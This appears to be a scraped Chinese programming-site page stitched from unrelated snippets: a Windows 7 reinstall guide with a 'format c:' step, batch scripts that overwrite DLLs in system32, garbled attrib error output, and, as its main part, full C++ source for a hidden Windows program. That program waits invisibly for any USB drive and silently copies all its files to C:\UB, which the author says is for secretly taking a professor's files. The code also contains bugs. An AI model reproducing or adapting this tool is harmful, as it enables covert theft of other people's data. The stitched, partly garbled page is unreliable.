精华内容
下载资源
问答
  • 1、把镜像用虚拟光驱加载,然后拷贝到任一硬盘分区中,我的是E:\wind7。2、把E:\wind7目录下的...3、把E:\wind7\sources下的boot.win复制到C盘下sourse文件夹。4、用管理员身份运行cmd,然后输入c:\boot\bootsect...

    1、把镜像用虚拟光驱加载,然后拷贝到任一硬盘分区中,我的是E:\wind7。

    2、把E:\wind7目录下的bootmgr和boot目录(其实只要里面的boot.sdi和bcd文件)拷贝到c盘根目录下,并在C盘根目录下建个sources文件夹。

    3、把E:\wind7\sources下的boot.win复制到C盘下sourse文件夹。

    4、用管理员身份运行cmd,然后输入c:\boot\bootsect.exe /nt60 c:

    (注意,此处bootsect在c:\boot目录下),然后提示successful(即成功了!)

    5、重启计算机,正在启动安装程序

    6、安装程序启动,选择你要安装的语言类型,同时选择适合自己的时间和货币显示种类及键盘和输入方式。

    7、出现“开始安装界面”,(要注意了,不点击“现在安装”)点左下角“修复计算机”(repair my computer)。

    8、进入“系统恢复选项”,选择最后一项“命令提示符”(command prompt),进入DOS窗口。

    9、执行格式化命令format c:/q(注:如C盘是FAT32格式,想转NTFS格式的话,执行format c:/fs:ntfs)。

    10、安装系统,输入E:\wind7\sources\setup.exe(注意文件路径是在E盘的windwos7文件夹下的sources文件里),之后就是正常的安装了。

    我的是压缩文件,不是镜像文件啊

    回答:

    是ISO文件吧,用虚拟光驱打开

    不是ISO镜像文件啊!

    c:\boot\bootsect.exe /nt60 c: 这个是什么意思能解释下吗。谢谢了!

    回答:

    照做就可以了 不是ISO文件你解压出来

    取消

    评论

    展开全文
  • 现在想从“C:\Program Files\常用绿色软件\soft\”将‘FinalData.exe'、‘OfficeDiary.exe'、‘DisplayX.exe'这三个程序拷贝到C:\WINDOWS\system32'并覆盖原有的三个,应该怎么编写??? 问题1:批处理的编写支持...

    现在想从“C:\Program Files\常用绿色软件\soft\”将‘FinalData.exe'、‘OfficeDiary.exe'、‘DisplayX.exe'这三个程序拷贝到‘C:\WINDOWS\system32'并覆盖原有的三个,应该怎么编写???
    问题1:批处理的编写支持长文件夹和长文件名吗?
    问题2:批处理的编写支持中文文件夹吗?
    问题3:覆盖原有文件会出现提示吗?如果会,怎么让它不提示直接覆盖了?
    @echo off for %%a in (FinalData OfficeDiary DisplayX) do ( copy /y "C:\Program Files\常用绿色软件\soft\%%a.exe" "C:\WINDOWS\system32" ) pause 从中文文件夹拷贝多个文件到指定的长文件名下,应该怎么编写批处理
    --------------------------------------------------------------------------------------------------------------
    把桌面一个文件夹的三个文件复制到c盘windows文件夹下的system32文件夹里
    桌面的“ERP数据库客户端文件”里的三个文件dbnetlib.dll dbnmpntw.dll ntwdblib.DLL 复制到C盘windows\system32文件夹里 覆盖原有的三个文件。
    我就是需要这样一个批处理,谢谢
    1.
    @echo off
    ren %windir%\system32\dbnetlib.dll dbnetlib.old
    ren %windir%\system32\dbnmpntw.dll dbnmpntw.old
    ren %windir%\system32\ntwdblib.DLL ntwdblib.old
    cd /d "%userprofile%\桌面\ERP数据库客户端文件"
    copy /y dbnetlib.dll %windir%\system32\
    copy /y dbnmpntw.dll %windir%\system32\
    copy /y ntwdblib.DLL %windir%\system32\
    exit
    将原来文件重命名。同时复制文件。如果不想保留原文件,将ren三行删除即可。
    2.
    @echo off
    copy %USERPROFILE%\桌面\ERP数据库客户端文件\dbnetlib.dll+dbnmpntw.dll+ntwdblib.DLL %windir%\system32 /y
    exit
    3.
    @echo off
    copy /y ""%userprofile%\桌面\ERP数据库客户端文件\dbnetlib.dll" "C:\windows\system32\"
    copy /y ""%userprofile%\桌面\ERP数据库客户端文件\dbnmpntw.dll" "C:\windows\system32\"
    copy /y ""%userprofile%\桌面\ERP数据库客户端文件\ntwdblib.DLL" "C:\windows\system32\"
    exit
    4.
    copy /y "%homepath%\桌面\ERP数据库客户端文件\dbnetlib.dll" c:\windows\system32\
    copy /y "%homepath%\桌面\ERP数据库客户端文件\dbnmpntw.dll" c:\windows\system32\
    copy /y "%homepath%\桌面\ERP数据库客户端文件\ntwdblib.DLL" c:\windows\system32\
    上面的每一段是一行,复制到bat里面的时候不要弄成2行了

    展开全文
  • 操作系统:windows server 2008r2 情况:把某个做了samba共享࿰c;...我想把共享里的文件拷贝出来移动硬盘࿰c;原大小200G的࿰c;拷贝时只有30G左右。 求大佬们指导下怎么排查</p>
  • 后台拷贝U盘文件的程序源码。

    千次阅读 2006-03-10 13:52:00
     功能:在系统进程中运行,当发现“可移动设备”时,自动拷贝磁盘中所有文件(含子目录中的)。C:/UB”目录中。起引: 唉,怎么说呢?反正开始的时候动机不纯啊!在学校里给我们上课的老教授,每次授课时的课件...

    运行环境:Windows2000以上版本。
    开发语言:C++/API
    编辑器:VC6+Sp6
    作者:半点闲
    开发时间:2006-3-6

    程序简介:
      界面:无。
      功能:在系统进程中运行,当发现“可移动设备”时,自动拷贝磁盘中所有文件(含子目录中的)。到“C:/UB”目录中。

    起引:
           唉,怎么说呢?反正开始的时候动机不纯啊!在学校里给我们上课的老教授,每次授课时的课件都放在他的U盘里(其中还有好多好东东......)。而我们每次恳求给我们一份的时候,屡屡都被拒绝。明的不行只好来暗的了......

    FilesCopy.h

    // FilesCopy.h: interface for the FilesCopy class.
    // 文件拷贝类功能说明:此类作用是对系统内可移动设备。
    //

    #if !defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)
    #define AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_

    #if _MSC_VER > 1000
    #pragma once
    #endif // _MSC_VER > 1000

    #define UNICODE                    //使用宽字符集模式。
    #define MAX_BUFFLEN    MAX_PATH    //字符缓冲区容量。
    #define MAX_DRIVE_NAME 4        //驱动器名称字符长度。
    #include 
    <windows.h>

    class FilesCopy  
    {
    public:
        
    bool bCopyRemovableFilesAll();    //拷贝可移动驱动器中所有文件(含子目录中的文件)。
        bool bSeekMoveDrive ();            //查找系统中可用的移动驱动器。
        bool bCopyFilesAll(PWCHAR szPathName);    //拷贝指定路径下的所有文件
        FilesCopy();
        
    virtual ~FilesCopy();
    private:
        
    bool bCopyFiles(LPCWCH szPathName);    //拷贝指定路径下所有文件。
        
    //获取系统驱动器字符串有效的字符长度(含字符中的NULL字符)。
        int InEffectDriveStringsLength(LPCWCH lpBuffer);
        
        WCHAR szRemovableDrive[MAX_DRIVE_NAME];    
    //可移动驱动器。
        WCHAR lpBuffer[MAX_BUFFLEN];    //获取系统可用驱动器名字字符串缓冲区。
        DWORD nBufferLength;            //系统可用驱动器缓冲区长度。
    }
    ;

    #endif // !defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)

    FilesCopy.cpp

    // FilesCopy.cpp: implementation of the FilesCopy class.
    //
    //

    #include 
    "FilesCopy.h"

    //
    // Construction/Destruction
    //

    FilesCopy::FilesCopy()
    {
        nBufferLength 
    = MAX_BUFFLEN;    //缓冲区长度。
    }


    FilesCopy::
    ~FilesCopy()
    {
    }


    int FilesCopy::InEffectDriveStringsLength(LPCWCH lpBuffer)
    {
        
    /*
            程序说明:获取系统驱动器字符串中有效的字符长度(含盘符间间隔的NULL字符)。
                成功返回长度,否则返回0(从0起始计数,如3是0->3是4个数)。
        
    */

        
    bool bState = false;    //NULL字符状态(检测到NULL字符值为true)。
        int iCount = 0;            //有效字符串计数器。
        
    //int iNull = 0;            //计算字符串中NULL字符的个数。

        
    for(int i=0; i < MAX_BUFFLEN; i++)
        
    {
            
    if(lpBuffer[i] == NULL)
            
    {
                
    if(bState)    //发现字符串结束符(连续两个NULL字符),退出循环。
                {
                    
    //iCount = i - iNull;    //计数器赋值。
                    iCount = i;
                    
    break;
                }

                
    else
                
    {
                    bState 
    = true;    //发现NULL字符。
                    
    //iNull++;        //NULL字符计数。
                }

            }

            
    else
            
    {
                bState 
    = false;
            }

        }


        
    return iCount;
    }


    bool FilesCopy::bSeekMoveDrive()
    {
        
    /*
            程序说明:查找系统中可用的移动驱动器(目前只能找到第一个可用的移动设备)。
                成功返回true,否则返回false。
        
    */

        
    int iStartMark = 0;                //字符段起始标记。
        int nLen = 0;                    //字符串中有效长度。

        
    //获取当前系统驱动器失败。
        if(!::GetLogicalDriveStrings (nBufferLength, lpBuffer)) return false;
        
    //获取系统驱动器字符串中,有效的字符长度(含盘符间间隔的NULL字符)。
        nLen = InEffectDriveStringsLength (lpBuffer);
        
    if(!nLen) return false;    //获取字符串长度失败。

        
    //分段拷贝驱动器字符,并查找是否是可移动设备。
        for(int i=0; i <= nLen; i++)
        
    {
            
    if(lpBuffer[i] == NULL)
            
    {
                
    int k = iStartMark;

                
    for(int j=0; j < MAX_DRIVE_NAME; j++)
                
    {
                    szRemovableDrive[j] 
    = lpBuffer[k];    //拷贝字符。
                    k++;
                }

                
    //查找可移动驱动器。
                if(::GetDriveType (szRemovableDrive) == DRIVE_REMOVABLE)
                
    {
                    
    //勿略驱动器A,B。
                    if(!(szRemovableDrive[0== 'A'))
                    
    {
                        
    if(!(szRemovableDrive[0== 'B'))
                        
    {
                            
    return true;    //找到可移动设备,退出循环(程序)。
                        }

                    }


                    
    if(!(szRemovableDrive[0== 'B'))
                    
    {
                        
    if(!(szRemovableDrive[0== 'A'))
                        
    {
                            
    return true;    //找到可移动设备,退出循环(程序)。
                        }

                    }


                }

                iStartMark 
    = i+1;    //重新定义字符段起始位置。
            }

        }

        
        
    return false;
    }


    bool FilesCopy::bCopyFilesAll(PWCHAR szPathName)
    {
        
    /*
            程序说明:拷贝指定路径下的所有文件(含子目录中的文件)。
            szPathName    给定的路径。
        
    */

        
    int nLen = 0;    //字符串长度。
        DWORD dwAttrs;    //文件属性。
        HANDLE hFind;
        WIN32_FIND_DATA FindFileData;
        PWCHAR szPathFileName 
    = NULL;    //文件名(路径+文件名)。
        PWCHAR szSubDirName = NULL;        //子目录名。

        
    //搜索当前路径下的所有文件。
        nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));
        szPathFileName 
    = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
        
        
    if(szPathFileName == NULL)    //动态分配存储空间失败。
        {
            
    return false;
        }

        ::lstrcpy (szPathFileName, szPathName);    
    //复制路径信息。
        ::lstrcat (szPathFileName, TEXT("*.*"));        //链接‘文件名'。

        
    //在当前目录下搜索文件。
        hFind = ::FindFirstFile (szPathFileName, &FindFileData);
        
    //未找到匹配的文件。
        if(hFind == INVALID_HANDLE_VALUE)
        
    {
            
    if(szPathFileName != NULL)
            
    {
                free (szPathFileName);
                szPathFileName 
    = NULL;
            }

            FindClose (hFind);
            
    return false;
        }


        
    //继续搜索满足条件的文件。
        while(::FindNextFile (hFind, &FindFileData))
        
    {
            
    //搜索当前位置下的所有子目录。
            if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            
    {
                
    //获取文件属性。
                dwAttrs = ::GetFileAttributes (FindFileData.cFileName);
                
    if(dwAttrs & FILE_ATTRIBUTE_ARCHIVE)
                
    {
                    
    if(szSubDirName != NULL)
                    
    {
                        free (szSubDirName);
                        szSubDirName 
    = NULL;
                    }

                    nLen 
    = ::lstrlen (szPathName) + ::lstrlen (FindFileData.cFileName) + ::lstrlen (TEXT("/"));
                    szSubDirName  
    = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

                    
    if(szSubDirName == NULL)    //动态分配存储空间失败。
                    {
                        
    if(szPathFileName != NULL)
                        
    {
                            free (szPathFileName);
                            szPathFileName 
    = NULL;
                        }

                        FindClose (hFind);
                        
    return false;
                    }

                    ::lstrcpy (szSubDirName , szPathName);    
    //复制路径信息。
                    ::lstrcat (szSubDirName , FindFileData.cFileName);//链接子目录信息。
                    ::lstrcat (szSubDirName, TEXT("/"));    //链接''符号。

                    bCopyFiles (szSubDirName);    
    //拷贝文件。
                    
    //开始递归。
                    bCopyFilesAll (szSubDirName);
                }

                
            }

        }


        
    //释放程序占用的资源。
        if(szPathFileName != NULL)
        
    {
            free (szPathFileName);
            szPathFileName 
    = NULL;
        }

        FindClose (hFind);

        
    return true;
    }


    bool FilesCopy::bCopyFiles(LPCWCH szPathName)
    {
        
    /*
            程序说明:拷贝指定路径下所有文件。成功返回true,否则false。
            szPathName    给定的路径。
        
    */

        
    int nLen = 0;
        HANDLE hFind;
        WIN32_FIND_DATA FindFileData;
        PWCHAR scFileName 
    = NULL;    //源目标文件(路径+文件名)。
        PWCHAR dsFileName = NULL;    //目地文件(路径+文件名)。

        nLen 
    = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));
        scFileName 
    = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

        
    if(scFileName == NULL)    //动态分配存储空间失败。
        {
            
    return false;
        }

        ::lstrcpy (scFileName, szPathName);        
    //复制路径。
        ::lstrcat (scFileName, TEXT("*.*"));    //链接‘文件名’。

        
    //在当前目录下搜索文件。
        hFind = ::FindFirstFile (scFileName, &FindFileData);
        
    //未找到匹配的文件。
        if(hFind == INVALID_HANDLE_VALUE)
        
    {
            
    if(scFileName != NULL)
            
    {
                free (scFileName);
                scFileName 
    = NULL;
            }

            FindClose (hFind);
            
    return false;
        }


        
    //继续搜索满足条件的文件。
        while(::FindNextFile (hFind, &FindFileData))
        
    {
            
    //不搜索目录。
            if(!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
            
    {
                
    //目地文件。
                nLen = ::lstrlen (TEXT("C:/UB/"))
                            
    + ::lstrlen (FindFileData.cFileName);
                dsFileName 
    = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
                
    if(dsFileName == NULL)    //动态分配存储空间失败。
                {
                    
    if(scFileName != NULL)
                    
    {
                        free (scFileName);
                        scFileName 
    = NULL;
                    }

                    FindClose (hFind);
                    
    return false;
                }

                ::lstrcpy (dsFileName, TEXT(
    "C:/UB/"));
                ::lstrcat (dsFileName, FindFileData.cFileName);
                
    //源目标文件。
                nLen = ::lstrlen (szPathName) 
                            
    + ::lstrlen (FindFileData.cFileName);
                
                
    if(scFileName != NULL)    //释放上次调用占用的资源。
                {
                    free (scFileName);
                    scFileName 
    = NULL;
                }

                scFileName 
    = (PWCHAR) malloc (sizeof(WCHAR) * (nLen +1));
                
                
    if(scFileName == NULL)    //动态分配存储空间失败。
                {
                    
    if(dsFileName != NULL)
                    
    {
                        free (dsFileName);
                        dsFileName 
    = NULL;
                    }

                    FindClose (hFind);
                    
    return false;
                }

                ::lstrcpy (scFileName, szPathName);
                ::lstrcat (scFileName, FindFileData.cFileName);

                
    //创建目录。
                ::CreateDirectory (TEXT("C:/UB/"), NULL);
                
    //拷贝文件失败。
                if(!CopyFile (scFileName, dsFileName, FALSE))
                
    {
                    
    if(scFileName != NULL)
                    
    {
                        free (scFileName);
                        scFileName 
    = NULL;
                    }

                    
    if(dsFileName != NULL)
                    
    {
                        free (dsFileName);
                        dsFileName 
    = NULL;
                    }

                    FindClose (hFind);

                    
    return false;
                }

            }

        }


        
    if(scFileName != NULL)
        
    {
            free (scFileName);
            scFileName 
    = NULL;
        }

        
    if(dsFileName != NULL)
        
    {
            free (dsFileName);
            dsFileName 
    = NULL;
        }

        
        FindClose (hFind);
        
        
    return true;
    }


    bool FilesCopy::bCopyRemovableFilesAll()
    {
        
    if(bSeekMoveDrive ())    //搜索系统中的可移动驱动器。
        {
            
    if(bCopyFilesAll (szRemovableDrive))
            
    {
                
    return true;
            }

        }

        
        
    return false;
    }

    main.cpp

    /*
        程序说明:拷贝移动驱动器中的所有文件(含子目录)。
        作者:高玉涵
        开始日期:2006-2-24
        完成日期:2006-3-6
    */

    #define TIMER_COPYFILE 1    //定时拷贝文件。
    #include 
    "FilesCopy.h"

    LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);

    int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                          LPSTR lpCmdLine, 
    int nShowCmd)
    {
        TCHAR szClassName[] 
    = TEXT("MainWClass");
        WNDCLASSEX wndclass;

        
    //用描述主窗口的参数填充WNDCLASSEX结构。
        wndclass.cbSize = sizeof(wndclass);    //结构的大小。
        wndclass.style = CS_HREDRAW|CS_VREDRAW;    //指定如果大小改变就重画。
        wndclass.lpfnWndProc = MainWndProc;        //窗口函数指针。
        wndclass.cbClsExtra = 0;    //没有额外的类内存。
        wndclass.cbWndExtra = 0;    //没有额外的窗口内存。
        wndclass.hInstance = hInstance;    //实例句柄。
        wndclass.hIcon = ::LoadIcon (NULL, IDI_APPLICATION);    //使用预定义图标。
        wndclass.hCursor = ::LoadCursor (NULL, IDC_ARROW);        //使用预定义光标。
        wndclass.hbrBackground = (HBRUSH)::GetStockObject (WHITE_BRUSH);    //使用白色背景。
        wndclass.lpszMenuName = NULL;    //不指定菜单。
        wndclass.lpszClassName = szClassName;    //窗口类名称。
        wndclass.hIconSm = NULL;    //没有类的小图标。

        
    //注册这个窗口类。
        ::RegisterClassEx (&wndclass);
        
    //创建主窗口。
        HWND hwnd = ::CreateWindowEx (0,    //dwExStyle,扩展样式。
            szClassName,            //类名。
            TEXT("FileCopy"),        //窗口标题。
            WS_OVERLAPPEDWINDOW,    //dwStyle,窗口风格。
            CW_USEDEFAULT,    //X,坐标。
            CW_USEDEFAULT,    //Y,坐标。
            CW_USEDEFAULT,    //nWidth,宽度。
            CW_USEDEFAULT,    //nHeight,高度。
            NULL,    //nWndParent,父窗口句柄。
            NULL,    //hMenu,菜单句柄。
            hInstance,    //程序实例句柄。
            NULL);    //lpParam,用户数据。

        
    if(hwnd == NULL)
        
    {
            ::MessageBox (NULL, TEXT(
    "窗口出错!"), TEXT("error"), MB_OK);
            
    return -1;
        }

        
        nShowCmd 
    = 0;     //不显示窗口。。
        ::ShowWindow (hwnd, nShowCmd);    //显示窗口,刷新窗口客户区。
        ::UpdateWindow (hwnd);

        
    //从消息队列中取出消息,交给窗口函数处理,直到GetMessage返回FALSE,结束消息循环。
        MSG msg;

        
    while(::GetMessage (&msg, NULL, 00))
        
    {
            
    //转化键盘消息。
            ::TranslateMessage (&msg);
            
    //将消息发送到相应窗口函数。
            ::DispatchMessage (&msg);
        }


        
    //当GetMessage返回FALSE时程序结束。
        return msg.wParam;
    }


    LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
        
    static FilesCopy ff;

        
    switch (message)
        
    {
        
    case WM_CREATE:    
            ::SetTimer (hwnd, TIMER_COPYFILE, 
    1000, NULL);
            
    return 0;
        
    case WM_TIMER:
            
    switch (wParam)
            
    {
            
    case TIMER_COPYFILE:
                
    if(ff.bSeekMoveDrive ())
                
    {    
                    ::KillTimer (hwnd, TIMER_COPYFILE);
                    ff.bCopyRemovableFilesAll ();
                    
    break;    //退出消息循环,同时也就退出了程序。
                }

                
    return 0;
            }

        
    case WM_DESTROY:    //正在销毁窗口。
            
    //向消息队列投递一个WM_QUIT消息,促使GetMessage函数返回0,结束消息循环。
            ::PostQuitMessage (0);
            
    return 0;
        }


        
    return (::DefWindowProc (hwnd, message, wParam, lParam));
    }



     

  • 源码下载

     
  • 程序下载

     

  • 展开全文
  • 引用第4楼wyyyzyq于2012-05-14 14:29发表的:这个很简单,用WINRAR软件就可以看到隐藏文件[图片]第二种方法:win+r 打开cmd 回车切换你的u盘目录,比如h: 回车 输入attrib -a -s -h /s /d....... 第一种方法,还是...

    引用第4楼wyyyzyq于2012-05-14 14:29发表的  :

    这个很简单,用WINRAR软件就可以看到隐藏文件

    [图片]

    第二种方法:win+r 打开cmd 回车切换到你的u盘目录,比如h: 回车 输入attrib -a -s -h /s /d

    .......

    第一种方法,还是移动盘空白。

    第二种方法输入后,提示:

    Microsoft Windows XP [版本 5.1.2600]

    (C) 版权所有 1985-2001 Microsoft Corp.

    C:\Documents and Settings\Administrator>cd..

    C:\Documents and Settings>cd..

    C:\>G:

    G:\>attrib -a -s -h /s /d

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\

    ..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..\..

    无法更改属性 - G:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.

    .\..\..\..\..\..\..\..

